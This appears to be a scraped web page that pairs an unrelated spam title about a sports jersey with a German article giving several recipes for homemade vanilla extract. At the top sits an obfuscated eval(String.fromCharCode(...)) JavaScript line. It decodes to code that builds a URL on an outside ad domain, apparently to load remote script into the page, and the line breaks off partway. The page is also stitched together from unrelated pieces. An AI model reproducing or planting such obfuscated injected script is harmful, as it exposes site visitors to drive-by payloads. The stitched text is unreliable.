Nyheim Hines Authentic Jersey var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 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Vanille-Extrakt selber machen

Vanille-Extrakt selber machen ist ganz einfach! Wer die nötige Zeit mitbringt (im Schnitt 4-6 Wochen Reifezeit), der kann köstliches hervorzaubern.

Das Vanille-Extrakt kann mit vielen unterschiedlichsten Zutaten zubereitet werden, aber immer ist es notwendig, dass eine oder mehrere Vanilleschoten bereitliegen. Natürlich werden viele Backfans gerne auf die Produkte mit Alkohol setzen, aber auch wer Alkohol nicht trinken darf oder will, der muss auf den Vanille-Extrakt nicht verzichten.

Ob Glycerin oder Sirup, der Vanille-Extrakt kann immer mit einem ganz einfachen Rezept selber hergestellt werden. Für die beste Qualität des Vanille-Extrakts kann die Herkunft der Schoten immer einen Einfluß haben, wobei die Vanilleschote aus Madagaskar oder die Bourbon Vanille immer als sehr hochwertig angesehen werden kann.

Selbst Zutaten wie Wasser und Zucker können vorkommen, wenn ein Alkohol verwendet wurde, der wegen seiner hohen Alkoholprozente verdünnt werden muss. Wer jetzt noch einen dunklen und kühlen Lagerplatz hat und sich nicht davor scheut, dass er 4 Wochen lang immer wieder die fertige Flasche kräftig schütteln muss, der wird ganz einfach zu bestem Vanille-Extrakt kommen.

Wie mache ich Vanille-Extrakt selber?

Um Vanille-Extrakt selber herstellen können braucht man

  • eine Glasflasche
  • mehrere Vanilleschoten
  • mindestens ein halber Liter Alkohol.

Eine große Milchflasche mit einer großen Öffnung kann nun eine gute Wahl sein. Aber es muss immer darauf geachtet werden, dass sich die Flasche absolut dicht verschließen lässt.

Auf einem Brettchen sollte man jetzt mit einem kleinen scharfen Messer die Vanilleschoten von oben bis unten in der Länge aufschneiden. Ist das Vanillemark gut zu sehen, dann muss es ausgekratzt werden. Danach gehört es in die Flasche, aber auch die aufgeschnittenen Vanilleschoten sollen nun in die Flasche gelegt werden. Ist beides enthalten, dann wird der Alkohol darauf geschüttet.

Beim Alkohol kann es sich um Wodka, Rum oder auch Weinbrand handeln und dieser sollte so auf den Flascheninhalt geschüttet werden, dass die Vanilleschoten ganz in der Flüssigkeit liegen. Anschließend wird die Flasche geschlossen, wobei es jetzt darauf ankommt, dass sich die Flasche wirklich zu 100 % verschließen lässt, denn die Flasche muss immer wieder geschüttelt werden. Dies ist nur bei einer verschlossenen Flasche möglich, denn ansonsten würde Flüssigkeit durch den Deckel entweichen.

Für den Extrakt muss nun ein dunkler und kühler Platz gefunden werden und ungefähr nach vier Wochen und regelmäßigem Schütteln der Flasche kann der erste Vanille-Extrakt für ein schönes Rezept verwendet werden.

Rezepte für Vanille-Extrakt selber machen

Rezept Vanille-Extrakt selber machen ohne Alkohol

Scheint der Vanille-Extrakt beim Selber zubereiten in der Regel nach der Methode mit Alkohol vorzugehen, so gibt es aber auch Vanille-Extrakt, den man ohne Alkohol zubereiten kann. Hier sollte der Nutzer aber sicher sein, ob er einen sehr süßen Vanilleextrakt haben will oder ob er doch lieber auf Zucker verzichten will. So kann die Herstellung dieses Extrakts mit Glycerin, Zuckersirup oder Agavensirup gelingen. Beim Kauf des Glycerins sollte man beim Blick auf die Flasche immer darauf achten, dass hier der Vermerk Lebensmittelqualität zu lesen ist.

Für die Zubereitung sollten ein kleines Messer, ein Brettchen und eine passende Flasche in der Küche zu finden sein.

Zutaten:

  • 5 Vanilleschoten
  • wahlweise 1 Flasche Glycerin oder Agaven Sirup oder Zucker Sirup

Herstellung:

  1. Die Vanilleschoten der Länge nach mit dem Messer aufschneiden.
  2. Das Vanillemark entfernen.
  3. Beides in die Flasche füllen.
  4. Den Inhalt der Flasche mit dem Sirup oder dem Glycerin so übergießen, bis alle Schoten davon gänzlich umschlossen sind.
  5. Die Flasche muss nach dem Schließen kräftig geschüttet werden.
  6. Hat man einen kühlen und dunklen Lagerplatz gefunden, dann wird die Flasche mehrmals in der Woche kräftig durchgeschüttelt und kann dann nach mindestens 4 Wochen das erste Vanille-Extrakt verwendet werden.

Rezept Vanille-Extrakt selber machen mit Alkohol 

Zutaten:

  • 1 Flasche Alkohol (Wodka, Weinbrand oder Rum)
  • 5 Vanilleschoten

Herstellung:

  1. Für die Zubereitung des Vanille-Extrakts sollten in der Küche eine Glasflasche, ein Brettchen und ein kleines Messer bereitliegen.
  2. Die Vanilleschoten auf das Brettchen legen und mit dem kleinen Messer die Schote von oben nach unten längs aufschneiden.
  3. Jetzt mit dem Messer das Vanillemark herauskratzen.
  4. Das Vanillemark in die Flasche füllen.
  5. Die Vanilleschoten ebenfalls dazugeben.
  6. Jetzt alles mit Alkohol (Wodka, Weinbrand oder Rum) auffüllen, bis die Schoten vollkommen im Alkohol liegen.
  7. Die Flasche jetzt fest verschließen und einmal kräftig alles durchschütteln.
  8. Einen kühlen und dunklen Platz für die Lagerung suchen und die Flasche hier abstellen.
  9. Mehrmals in der Woche die Flasche kräftig schütteln, damit sich Vanille und Alkohol bestens verbinden können.
  10. Nach vier Wochen kann die erste Menge Vanille-Extrakt entnommen werden, wenn die Flüssigkeit eine kräftig dunkle Farbe angenommen hat.
  11. 11. Je nach Wunsch kann für eine stärkere Süße auch eine Menge Rohrzucker (Menge nach Wunsch) hinzugegeben werden.

Rezept Vanille-Extrakt selber machen mit Rum

Zu einem besonderen Geschmackserlebnis kann Vanille in Verbindung mit Rum werden und hier kann es gelingen, dass Kuchen und Plätzchen besonders saftig sind und wirklich lecker sind. Für den Vanille-Extrakt mit Rum benötigt man folgende Zutaten:

Zutaten:

  • 1 Flasche Rum
  • 5 Vanilleschoten

Zubereitung:

  1. In der Küche sollten Brettchen, kleines Messer und eine Flasche bereitstehen.
  2. In die offene Flasche gehören die aufgeschnittenen Vanilleschoten und das herausgekratzte Vanillemark.
  3. Anschließend gehört der Rum in die Flasche, bis die Schoten vollkommen bedeckt sind.
  4. Alles kräftig schütteln, nachdem die Flasche ganz fest verschlossen wurde.
  5. Für die nächsten 4 Wochen gehört die Flasche an einen kühlen und dunklen Ort, wo man sie immer wieder durchschüttelt.

Rezept Vanille-Extrakt selber machen mit Wasser

Natürlich wird man beim Kauf von Vanille-Extrakt auch immer wieder Flaschen kaufen können, wo auf der Inhaltsliste Wasser steht. Macht man das Vanille-Extrakt selber, dann kann es auch vorkommen, dass man versucht einen Alkohol mit 70 % zu finden. Da dies sehr schwierig ist, wird gerne Alkohol mit mehr Prozenten genommen und dann wird die Flüssigkeit mit Wasser verlängert. So kann Strohrum für das Vanille-Extrakt verwendet werden, wobei so mancher Do-it-yourself-Fan gerne auch noch ein wenig Rohrzucker hinzufügt. So werden folgende Zutaten benötigt:

  • Wasser
  • Rohrzucker
  • 1 Flasche Strohrum
  • 5 Vanilleschoten

Zubereitung:

  1. Mit einem scharfen Messer die Vanilleschoten längs aufschneiden und das Mark mit dem Messer entfernen.
  2. Den Alkohol mit Wasser verdünnen und ein wenig Rohrzucker in die Flüssigkeit geben.
  3. Mark und Schoten in eine Flasche oder ein verschließbares Glas geben. Danach kann das Gemisch aus Zucker, Wasser und Strohrum in die Flasche gießen, bis die Schoten vollkommen in der Flüssigkeit verschwinden.
  4. Während der nächsten 4 Wochen an einem dunklen und kühlen Stellplatz verwahren. Immer wieder zwischendurch einmal gut durchschütteln, damit nach vier Wochen eine sehr dunkle Flüssigkeit entsteht, die besten Vanillegenuss verspricht.

Rezept Vanille-Extrakt selber machen mit Glycerin

Zutaten:

  • 1 Flasche Glycerin Lebensmittelqualität
  • 5 Vanilleschoten

Zubereitung:

  1. Mit einem scharfen Messer werden die Schoten in der vollen Länge aufgeschnitten, bis das Mark richtig gut zu sehen ist.
  2. Nun das Mark mit dem Messer ausschaben.
  3. Mark und Vanilleschote in ein großes Glas legen und mit dem Glycerin übergießen.
  4. Die Schoten müssen in der Flüssigkeit vollkommen bedeckt sein.
  5. Dann wird das geschlossene Glas kräftig geschüttelt, damit sich alle Bestandteile gut miteinander verbinden können.
  6. Dies wird in den nächsten 4 Wochen immer wiederholt und das Glas muss dunkel und kühl stehen.

Jetzt kann das Vanille-Extrakt für die schönsten Rezepte verwendet werden.

Rezept Vanille-Extrakt selber machen mit dem Thermomix

Wer einen Vanille-Extrakt zubereiten will, der kann dafür auch eine moderne Küchenmaschine wie den Thermomix verwenden, wenn er für die Flüssigkeit mehrere Bestandteile nutzen will.

Zutaten:

2 Vanilleschoten

200 ml Wodka

Zubereitung:

  1. Ein Flasche bereitstellen und die Schoten aufschneiden und vom Mark befreien.
  2. Die Vanilleschoten der Länge nach aufschneiden (nicht durchschneiden!) und mit den Fingern auseinanderklappen.
  3. Den Wodka in die bereit gestellte Glasflasche füllen, die Schoten einlegen und 30 Sekunden schütteln.
  4. Die Flasche gut verschlossen, kühl und dunkel (wichtig!) lagern. Der Extrakt sollte mindestens 3, besser noch 8 Wochen, ziehen. Alle paar Tage wird die Flasche geschüttelt.

Tipp 1: Verbrauchter Extrakt kann mit Wodka wieder aufgefüllt werden, da die Schoten das Aroma mehrere Monate lang halten. Dadurch wird der Extrakt wieder „aufgefrischt“.Variation 1: Wer gerne das Aroma ein bisschen verändern möchte, kann statt des Wodkas z. B. auch Brandy oder Rum verwenden.

Variation 2: In Amerika käuflicher Vanillaextrakt ist zusätzlich noch mit Zuckersirup versetzt. Hierzu kann man Zucker zu gleichen Teilen mit Wasser in einer Pfanne schmelzen und den Sirup mit zwei Teilen gut durchgezogenem Extrakt mischen.

Die Schoten sollten möglichst frisch sein. Frische Schoten erkennt man daran, dass sie von außen voll, saftig und glänzend aussehen und sich weich anfühlen. Zu alte Schoten besitzen weniger ätherische Öle, sehen schrumpelig, eingetrocknet aus und sind etwas hart. Sie ergeben daher keinen allzu aromatischen Extrakt.

 

 

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